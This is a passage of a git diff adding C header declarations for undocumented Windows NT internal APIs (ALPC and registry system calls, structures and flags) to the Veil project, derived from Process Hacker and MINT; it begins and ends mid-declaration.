_In_reads_bytes_(ConnectionRequest->u1.s1.TotalLength) PPORT_MESSAGE ConnectionRequest, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ConnectionMessageAttributes, + _In_ BOOLEAN AcceptConnection +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcSendWaitReceivePort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_reads_bytes_opt_(SendMessage->u1.s1.TotalLength) PPORT_MESSAGE SendMessage, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes, + _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ReceiveMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcSendWaitReceivePort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_reads_bytes_opt_(SendMessage->u1.s1.TotalLength) PPORT_MESSAGE SendMessage, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes, + _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ReceiveMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); + +#define ALPC_CANCELFLG_TRY_CANCEL 0x1 // dbg +#define ALPC_CANCELFLG_NO_CONTEXT_CHECK 0x8 +#define ALPC_CANCELFLGP_FLUSH 0x10000 // dbg + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCancelMessage( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_ PALPC_CONTEXT_ATTR MessageContext +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCancelMessage( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_ PALPC_CONTEXT_ATTR MessageContext +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ PVOID Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ PVOID Flags +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcImpersonateClientContainerOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcImpersonateClientContainerOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG Flags +); +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcOpenSenderProcess( + _Out_ PHANDLE ProcessHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcOpenSenderProcess( + _Out_ PHANDLE ProcessHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcOpenSenderThread( + _Out_ PHANDLE ThreadHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcOpenSenderThread( + _Out_ PHANDLE ThreadHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +// +// Support functions +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +ULONG +NTAPI +AlpcMaxAllowedMessageLength( + VOID +); + +NTSYSAPI +ULONG +NTAPI +AlpcGetHeaderSize( + _In_ ULONG Flags +); + +#define ALPC_ATTRFLG_ALLOCATEDATTR 0x20000000 +#define ALPC_ATTRFLG_VALIDATTR 0x40000000 +#define ALPC_ATTRFLG_KEEPRUNNINGATTR 0x60000000 + +NTSYSAPI +NTSTATUS +NTAPI +AlpcInitializeMessageAttribute( + _In_ ULONG AttributeFlags, + _Out_opt_ PALPC_MESSAGE_ATTRIBUTES Buffer, + _In_ ULONG BufferSize, + _Out_ PULONG RequiredBufferSize +); + +NTSYSAPI +PVOID +NTAPI +AlpcGetMessageAttribute( + _In_ PALPC_MESSAGE_ATTRIBUTES Buffer, + _In_ ULONG AttributeFlag +); + +NTSYSAPI +NTSTATUS +NTAPI +AlpcRegisterCompletionList( + _In_ HANDLE PortHandle, + _Out_ PALPC_COMPLETION_LIST_HEADER Buffer, + _In_ ULONG Size, + _In_ ULONG ConcurrencyCount, + _In_ ULONG AttributeFlags +); + +NTSYSAPI +NTSTATUS +NTAPI +AlpcUnregisterCompletionList( + _In_ HANDLE PortHandle +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +AlpcRundownCompletionList( + _In_ HANDLE PortHandle +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +AlpcAdjustCompletionListConcurrencyCount( + _In_ HANDLE PortHandle, + _In_ ULONG ConcurrencyCount +); + +NTSYSAPI +BOOLEAN +NTAPI +AlpcRegisterCompletionListWorkerThread( + _Inout_ PVOID CompletionList +); + +NTSYSAPI +BOOLEAN +NTAPI +AlpcUnregisterCompletionListWorkerThread( + _Inout_ PVOID CompletionList +); + +NTSYSAPI +VOID +NTAPI +AlpcGetCompletionListLastMessageInformation( + _In_ PVOID CompletionList, + _Out_ PULONG LastMessageId, + _Out_ PULONG LastCallbackId +); + +NTSYSAPI +ULONG +NTAPI +AlpcGetOutstandingCompletionListMessageCount( + _In_ PVOID CompletionList +); + +NTSYSAPI +PPORT_MESSAGE +NTAPI +AlpcGetMessageFromCompletionList( + _In_ PVOID CompletionList, + _Out_opt_ PALPC_MESSAGE_ATTRIBUTES* MessageAttributes +); + +NTSYSAPI +VOID +NTAPI +AlpcFreeCompletionListMessage( + _Inout_ PVOID CompletionList, + _In_ PPORT_MESSAGE Message +); + +NTSYSAPI +PALPC_MESSAGE_ATTRIBUTES +NTAPI +AlpcGetCompletionListMessageAttributes( + _In_ PVOID CompletionList, + _In_ PPORT_MESSAGE Message +); +#endif // !_KERNEL_MODE +#endif // Vista + + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.ConfigurationManager.h b/include/Veil/Veil/Veil.System.ConfigurationManager.h new file mode 100644 index 0000000..c3d84ed --- /dev/null +++ b/include/Veil/Veil/Veil.System.ConfigurationManager.h @@ -0,0 +1,1283 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// Boot condition flags (NtInitializeRegistry) + +#define REG_INIT_BOOT_SM 0x0000 +#define REG_INIT_BOOT_SETUP 0x0001 +#define REG_INIT_BOOT_ACCEPTED_BASE 0x0002 +#define REG_INIT_BOOT_ACCEPTED_MAX REG_INIT_BOOT_ACCEPTED_BASE + 999 + +#define REG_MAX_KEY_VALUE_NAME_LENGTH 32767 +#define REG_MAX_KEY_NAME_LENGTH 512 + +#ifndef _KERNEL_MODE +typedef enum _KEY_INFORMATION_CLASS +{ + KeyBasicInformation, // KEY_BASIC_INFORMATION + KeyNodeInformation, // KEY_NODE_INFORMATION + KeyFullInformation, // KEY_FULL_INFORMATION + KeyNameInformation, // KEY_NAME_INFORMATION + KeyCachedInformation, // KEY_CACHED_INFORMATION + KeyFlagsInformation, // KEY_FLAGS_INFORMATION + KeyVirtualizationInformation, // KEY_VIRTUALIZATION_INFORMATION + KeyHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION + KeyTrustInformation, // KEY_TRUST_INFORMATION + KeyLayerInformation, // KEY_LAYER_INFORMATION + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; + +typedef struct _KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, * PKEY_BASIC_INFORMATION; + +typedef struct _KEY_NODE_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG NameLength; + WCHAR Name[1]; + // ... + // WCHAR Class[1]; +} KEY_NODE_INFORMATION, * PKEY_NODE_INFORMATION; + +typedef struct _KEY_FULL_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} KEY_FULL_INFORMATION, * PKEY_FULL_INFORMATION; + +typedef struct _KEY_NAME_INFORMATION +{ + ULONG NameLength; + WCHAR Name[1]; +} KEY_NAME_INFORMATION, * PKEY_NAME_INFORMATION; + +typedef struct _KEY_CACHED_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + ULONG NameLength; + WCHAR Name[1]; +} KEY_CACHED_INFORMATION, * PKEY_CACHED_INFORMATION; +#endif //!_KERNEL_MODE + +// rev +#define REG_FLAG_VOLATILE 0x0001 +#define REG_FLAG_LINK 0x0002 + +// msdn +#define REG_KEY_DONT_VIRTUALIZE 0x0002 +#define REG_KEY_DONT_SILENT_FAIL 0x0004 +#define REG_KEY_RECURSE_FLAG 0x0008 + +// private +typedef struct _KEY_FLAGS_INFORMATION +{ + ULONG Wow64Flags; + ULONG KeyFlags; // REG_FLAG_* + ULONG ControlFlags; // REG_KEY_* +} KEY_FLAGS_INFORMATION, * PKEY_FLAGS_INFORMATION; + +#ifndef _KERNEL_MODE +typedef struct _KEY_VIRTUALIZATION_INFORMATION +{ + ULONG VirtualizationCandidate : 1; // Tells whether the key is part of the virtualization namespace scope (only HKLM\Software for now). + ULONG VirtualizationEnabled : 1; // Tells whether virtualization is enabled on this key. Can be 1 only if above flag is 1. + ULONG VirtualTarget : 1; // Tells if the key is a virtual key. Can be 1 only if above 2 are 0. Valid only on the virtual store key handles. + ULONG VirtualStore : 1; // Tells if the key is a part of the virtual store path. Valid only on the virtual store key handles. + ULONG VirtualSource : 1; // Tells if the key has ever been virtualized, can be 1 only if VirtualizationCandidate is 1. + ULONG Reserved : 27; +} KEY_VIRTUALIZATION_INFORMATION, * PKEY_VIRTUALIZATION_INFORMATION; + +// private +typedef struct _KEY_TRUST_INFORMATION +{ + ULONG TrustedKey : 1; + ULONG Reserved : 31; +} KEY_TRUST_INFORMATION, * PKEY_TRUST_INFORMATION; + +// private +typedef struct _KEY_LAYER_INFORMATION +{ + ULONG IsTombstone : 1; + ULONG IsSupersedeLocal : 1; + ULONG IsSupersedeTree : 1; + ULONG ClassIsInherited : 1; + ULONG Reserved : 28; +} KEY_LAYER_INFORMATION, * PKEY_LAYER_INFORMATION; + +typedef enum _KEY_SET_INFORMATION_CLASS +{ + KeyWriteTimeInformation, // KEY_WRITE_TIME_INFORMATION + KeyWow64FlagsInformation, // KEY_WOW64_FLAGS_INFORMATION + KeyControlFlagsInformation, // KEY_CONTROL_FLAGS_INFORMATION + KeySetVirtualizationInformation, // KEY_SET_VIRTUALIZATION_INFORMATION + KeySetDebugInformation, + KeySetHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION + KeySetLayerInformation, // KEY_SET_LAYER_INFORMATION + MaxKeySetInfoClass +} KEY_SET_INFORMATION_CLASS; + +typedef struct _KEY_WRITE_TIME_INFORMATION +{ + LARGE_INTEGER LastWriteTime; +} KEY_WRITE_TIME_INFORMATION, * PKEY_WRITE_TIME_INFORMATION; + +typedef struct _KEY_WOW64_FLAGS_INFORMATION +{ + ULONG UserFlags; +} KEY_WOW64_FLAGS_INFORMATION, * PKEY_WOW64_FLAGS_INFORMATION; + +typedef struct _KEY_HANDLE_TAGS_INFORMATION +{ + ULONG HandleTags; +} KEY_HANDLE_TAGS_INFORMATION, * PKEY_HANDLE_TAGS_INFORMATION; + +typedef struct _KEY_SET_LAYER_INFORMATION +{ + ULONG IsTombstone : 1; + ULONG IsSupersedeLocal : 1; + ULONG IsSupersedeTree : 1; + ULONG ClassIsInherited : 1; + ULONG Reserved : 28; +} KEY_SET_LAYER_INFORMATION, * PKEY_SET_LAYER_INFORMATION; + +typedef struct _KEY_CONTROL_FLAGS_INFORMATION +{ + ULONG ControlFlags; +} KEY_CONTROL_FLAGS_INFORMATION, * PKEY_CONTROL_FLAGS_INFORMATION; + +typedef struct _KEY_SET_VIRTUALIZATION_INFORMATION +{ + ULONG VirtualTarget : 1; + ULONG VirtualStore : 1; + ULONG VirtualSource : 1; // true if key has been virtualized at least once + ULONG Reserved : 29; +} KEY_SET_VIRTUALIZATION_INFORMATION, * PKEY_SET_VIRTUALIZATION_INFORMATION; + +typedef enum _KEY_VALUE_INFORMATION_CLASS +{ + KeyValueBasicInformation, // KEY_VALUE_BASIC_INFORMATION + KeyValueFullInformation, // KEY_VALUE_FULL_INFORMATION + KeyValuePartialInformation, // KEY_VALUE_PARTIAL_INFORMATION + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, // KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 + KeyValueLayerInformation, // KEY_VALUE_LAYER_INFORMATION + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +typedef struct _KEY_VALUE_BASIC_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; +} KEY_VALUE_BASIC_INFORMATION, * PKEY_VALUE_BASIC_INFORMATION; + +typedef struct _KEY_VALUE_FULL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; + // ... + // UCHAR Data[1]; +} KEY_VALUE_FULL_INFORMATION, * PKEY_VALUE_FULL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +} KEY_VALUE_PARTIAL_INFORMATION, * PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 +{ + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, * PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; + +// private +typedef struct _KEY_VALUE_LAYER_INFORMATION +{ + ULONG IsTombstone : 1; + ULONG Reserved : 31; +} KEY_VALUE_LAYER_INFORMATION, * PKEY_VALUE_LAYER_INFORMATION; +#endif //!_KERNEL_MODE + +// rev +typedef enum _KEY_LOAD_ENTRY_TYPE +{ + KeyLoadTrustClassKey = 1, + KeyLoadEvent, + KeyLoadToken +} KEY_LOAD_ENTRY_TYPE; + +// rev +typedef struct _KEY_LOAD_ENTRY +{ + KEY_LOAD_ENTRY_TYPE EntryType; + union + { + HANDLE Handle; + ULONG_PTR Value; + }; +} KEY_LOAD_ENTRY, * PKEY_LOAD_ENTRY; + +#ifndef _KERNEL_MODE +typedef struct _KEY_VALUE_ENTRY +{ + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, * PKEY_VALUE_ENTRY; +#endif // !_KERNEL_MODE + +typedef enum _REG_ACTION +{ + KeyAdded, + KeyRemoved, + KeyModified +} REG_ACTION; + +typedef struct _REG_NOTIFY_INFORMATION +{ + ULONG NextEntryOffset; + REG_ACTION Action; + ULONG KeyLength; + WCHAR Key[1]; +} REG_NOTIFY_INFORMATION, * PREG_NOTIFY_INFORMATION; + +typedef struct _KEY_PID_ARRAY +{ + HANDLE ProcessId; + UNICODE_STRING KeyName; +} KEY_PID_ARRAY, * PKEY_PID_ARRAY; + +typedef struct _KEY_OPEN_SUBKEYS_INFORMATION +{ + ULONG Count; + KEY_PID_ARRAY KeyArray[1]; +} KEY_OPEN_SUBKEYS_INFORMATION, * PKEY_OPEN_SUBKEYS_INFORMATION; + +// System calls + +__kernel_entry __kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _In_ HANDLE TransactionHandle, + _Out_opt_ PULONG Disposition +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +ZwCreateKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _In_ HANDLE TransactionHandle, + _Out_opt_ PULONG Disposition +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE TransactionHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE TransactionHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenKeyEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyTransactedEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions, + _In_ HANDLE TransactionHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenKeyTransactedEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions, + _In_ HANDLE TransactionHandle +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteKey( + _In_ HANDLE KeyHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteKey( + _In_ HANDLE KeyHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(Length == 0, _Post_satisfies_(return < 0)) +_When_(Length > 0, _Post_satisfies_(return <= 0)) +_Success_(return == STATUS_SUCCESS) +_On_failure_(_When_(return == STATUS_BUFFER_OVERFLOW || return == STATUS_BUFFER_TOO_SMALL, _Post_satisfies_(*ResultLength > Length))) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ __drv_strictTypeMatch(__drv_typeConst) + KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(Length == 0, _Post_satisfies_(return < 0)) +_When_(Length > 0, _Post_satisfies_(return <= 0)) +_Success_(return == STATUS_SUCCESS) +_On_failure_(_When_(return == STATUS_BUFFER_OVERFLOW || return == STATUS_BUFFER_TOO_SMALL, _Post_satisfies_(*ResultLength > Length))) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer, + _Inout_ PULONG BufferLength, + _Out_opt_ PULONG RequiredBufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer, + _Inout_ PULONG BufferLength, + _Out_opt_ PULONG RequiredBufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(Length == 0, _Post_satisfies_(return < 0)) +_When_(Length > 0, _Post_satisfies_(return <= 0)) +_Success_(return == STATUS_SUCCESS) +_On_failure_(_When_(return == STATUS_BUFFER_OVERFLOW || return == STATUS_BUFFER_TOO_SMALL, _Post_satisfies_(*ResultLength > Length))) +NTSYSAPI +NTSTATUS +NTAPI +ZwEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateValueKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(Length == 0, _Post_satisfies_(return < 0)) +_When_(Length > 0, _Post_satisfies_(return <= 0)) +_Success_(return == STATUS_SUCCESS) +_On_failure_(_When_(return == STATUS_BUFFER_OVERFLOW || return == STATUS_BUFFER_TOO_SMALL, _Post_satisfies_(*ResultLength > Length))) +NTSYSAPI +NTSTATUS +NTAPI +ZwEnumerateValueKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS 